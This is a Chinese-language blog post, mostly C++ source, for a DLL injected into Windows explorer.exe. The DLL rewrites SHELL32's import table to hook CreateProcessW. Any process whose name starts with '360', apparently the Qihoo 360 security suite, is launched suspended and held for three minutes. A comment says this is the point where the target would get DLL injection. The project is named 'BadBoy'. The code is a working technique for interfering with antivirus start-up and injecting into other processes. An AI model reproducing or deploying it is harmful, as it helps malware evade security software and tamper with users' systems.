windows的很多进程都是通过explorer来创建的,所以如果我们设置一个钩子,劫取explorer的CreateProcess,那可以对其它的进程做些事情了。
首先使用ollyDBG这个工具查看一下CreateProcessW函数是哪个dll给带出来的,不一定是kernel32.dll,在我的机器上是:API-MS-WIN-CORE-PROCESSTHREADS-L1-1-2.DLL,ollyDBG这个软件怎么用网上教程一大把,《加密与解密》这本书也介绍的非常详细,不过这里就使用一下Ctrl+N和打断点就OK了。最后发现CreateProcess函数是在Shell32.dll的API-MS-WIN-CORE-PROCESSTHREADS-L1-1-2.DLL中引入的。
关于如何注入explorer这个程序,请看这个帖子:http://bbs.pediy.com/showthread.php?t=126226
废话就说这么多,下面贴下代码看如何在explorer中劫取这个函数:
// dllmain.cpp : Defines the entry point for the DLL application.
#include "stdafx.h"
DWORD dwOrigCreateProcessAddr;
HINSTANCE hInstance = NULL;
bool noLogfile = true;
typedef BOOL(WINAPI *LPCREATEPROCESS)(
LPCWSTR lpApplicationName,
LPWSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCWSTR lpCurrentDirectory,
LPSTARTUPINFOW lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
void OutLog(char *pStr);
BOOL WINAPI MyCreateProcessW(
LPCWSTR lpApplicationName,
LPWSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCWSTR lpCurrentDirectory,
LPSTARTUPINFOW lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
void HookCreateProcess(bool bHook);
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
{
hInstance = (HINSTANCE)hModule;
OutLog("dll attach; test by huangwu.");
HookCreateProcess(true);
break;
}
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
{
HookCreateProcess(false);
break;
}
}
return TRUE;
}
void HookCreateProcess(bool bHook)
{
HMODULE hModule = GetModuleHandle("SHELL32.DLL");
if (hModule != NULL)
{
PIMAGE_DOS_HEADER pstDosHeader = (PIMAGE_DOS_HEADER)hModule;
PIMAGE_NT_HEADERS pstNtHeaders = (PIMAGE_NT_HEADERS)((ULONG)hModule + (ULONG)(pstDosHeader->e_lfanew));
IMAGE_OPTIONAL_HEADER stOptionalHeader = pstNtHeaders->OptionalHeader;
IMAGE_DATA_DIRECTORY stImportDataDirectory = stOptionalHeader.DataDirectory[1];//导入表结构
PIMAGE_IMPORT_DESCRIPTOR pstImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)((ULONG)hModule + (ULONG)(stImportDataDirectory.VirtualAddress));
PIMAGE_THUNK_DATA pThunkData = NULL;
while (pstImportDescriptor->FirstThunk != 0)
{
char *pDllName = (char*)((ULONG)hModule + pstImportDescriptor->Name);
if (0 == strnicmp(pDllName, "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-2.DLL", strlen("API-MS-WIN-CORE-PROCESSTHREADS-L1-1-2.DLL")))
{
OutLog("找到导入表中API-MS-WIN-CORE-PROCESSTHREADS-L1-1-2.DLL.");
pThunkData = (PIMAGE_THUNK_DATA)((ULONG)hModule + pstImportDescriptor->FirstThunk);
break;
}
pstImportDescriptor++;
}
if (pThunkData != NULL)
{
DWORD ulCreateProcessW = (ULONG)GetProcAddress(GetModuleHandle("kernel32.dll"), "CreateProcessW");
while (pThunkData->u1.Function != 0)
{
DWORD *lpFuncAddr = (PULONG)&(pThunkData->u1.Function);
/*char * pLog = new char[100];
sprintf(pLog, "%x-%x-MyCreateProcessA:%x-%x", *lpFuncAddr, lpFuncAddr, MyCreateProcessW, ulCreateProcessW);
OutLog(pLog);
delete[] pLog;*/
if (*lpFuncAddr == ulCreateProcessW)
{
OutLog("找到API-MS-WIN-CORE-PROCESSTHREADS-L1-1-2.DLL结构中CreateProcessW函数地址.");
dwOrigCreateProcessAddr = *lpFuncAddr;
DWORD dwOldProtect = 0;
MEMORY_BASIC_INFORMATION stMemBasicInfo = { 0 };
VirtualQuery(lpFuncAddr, &stMemBasicInfo, sizeof(MEMORY_BASIC_INFORMATION));
/*char *pLog2 = new char[300];
sprintf(pLog2, "该块内存信息stMemBasicInfo.BaseAddress is %x, stMemBasicInfo.Protect is %d, stMemBasicInfo.RegionSize is %d", stMemBasicInfo.BaseAddress, stMemBasicInfo.Protect, stMemBasicInfo.RegionSize);
OutLog(pLog2);
delete[] pLog2;*/
VirtualProtect(stMemBasicInfo.BaseAddress, stMemBasicInfo.RegionSize, PAGE_EXECUTE_READWRITE, &dwOldProtect);
if (bHook)
{
DWORD lpDw = (DWORD)MyCreateProcessW;
HANDLE h = ::GetCurrentProcess();
OutLog("开始改写函数地址.");
bool bOk = WriteProcessMemory(h, lpFuncAddr, &lpDw, sizeof(DWORD), NULL);
if (bOk == true)
OutLog("改写API-MS-WIN-CORE-PROCESSTHREADS-L1-1-2.DLL结构中CreateProcessW函数地址成功");
else
{
OutLog("改写API-MS-WIN-CORE-PROCESSTHREADS-L1-1-2.DLL结构中CreateProcessW函数地址失败");
VirtualProtect(stMemBasicInfo.BaseAddress, stMemBasicInfo.RegionSize, dwOldProtect, NULL);
}
}
else
::WriteProcessMemory(::GetCurrentProcess(), lpFuncAddr, &dwOrigCreateProcessAddr, sizeof(DWORD), NULL);
DWORD temp = 0;
VirtualProtect(stMemBasicInfo.BaseAddress, stMemBasicInfo.RegionSize, dwOldProtect, &temp);
OutLog("属性修改成功");
break;
}
pThunkData++;
}
}
else
OutLog("没有找到导入表中SHELL32.DLL结构.");
}
else
{
OutLog("获取当前进程句柄失败.");
}
OutLog("成功退出HOOK函数");
}
BOOL WINAPI MyCreateProcessW(
LPCWSTR lpApplicationName,
LPWSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCWSTR lpCurrentDirectory,
LPSTARTUPINFOW lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
)
{
OutLog("进入MyCreateProcessW函数");
DWORD dwNum = WideCharToMultiByte(CP_OEMCP, 0, (LPCWCH)lpApplicationName, -1, NULL, 0, NULL, false);
if (dwNum != 0)
{
char *lpAnsiName = new char[dwNum + 1];
dwNum = WideCharToMultiByte(CP_OEMCP, NULL, (LPCWCH)lpApplicationName, -1, lpAnsiName, dwNum + 1, NULL, false);
OutLog(lpAnsiName);
char lpExePath[100] = { 0 };
strncpy(lpExePath, lpAnsiName, strlen(lpAnsiName));
char lpExeName[50] = { 0 };
char *p = strrchr(lpAnsiName, '\\');
strncpy(lpExeName, p + 1, strlen(p + 1));
OutLog(lpExeName);
delete lpAnsiName;
//如果是感兴趣的进程被创建,将通过EPO技术挂关键函数,这里只是修改进程的EP入口,对目标进程实现dll注入
if ('3' == lpExeName[0] && '6' == lpExeName[1] && '0' == lpExeName[2])
{
dwCreationFlags |= CREATE_SUSPENDED;
bool bRes = ((LPCREATEPROCESS)dwOrigCreateProcessAddr)(lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes,
bInheritHandles, dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation);
OutLog("找到360相关进程");
if (bRes)
{
Sleep(180000);
ResumeThread(lpProcessInformation->hThread);
OutLog("恢复360相关进程");
}
return bRes;
}
else
{
return ((LPCREATEPROCESS)dwOrigCreateProcessAddr)(lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes,
bInheritHandles, dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation);
}
}
else
{
OutLog("lpApplicationName为空");
return ((LPCREATEPROCESS)dwOrigCreateProcessAddr)(lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes,
bInheritHandles, dwCreationFlags, lpEnvironment, lpCurrentDirectory, lpStartupInfo, lpProcessInformation);
}
}
void OutLog(char *pStr)
{
//判断日志文件是否存在
bool bFileExist = false;
FILE *fp = NULL;
//fp = fopen("C:\\Users\\May_second\\Desktop\\0308_badboy\\log.txt", "a+");
fp = fopen("F:\\C++文件\\0308_BadBoy\\Debug\\log.txt", "a+");
if (fp != NULL)
{
fprintf(fp, "%s\n", pStr);
fclose(fp);
fp = NULL;
}
else if (noLogfile)
{
noLogfile = false;
MessageBox(NULL, "没找到对应log文件", NULL, MB_OK);
}
}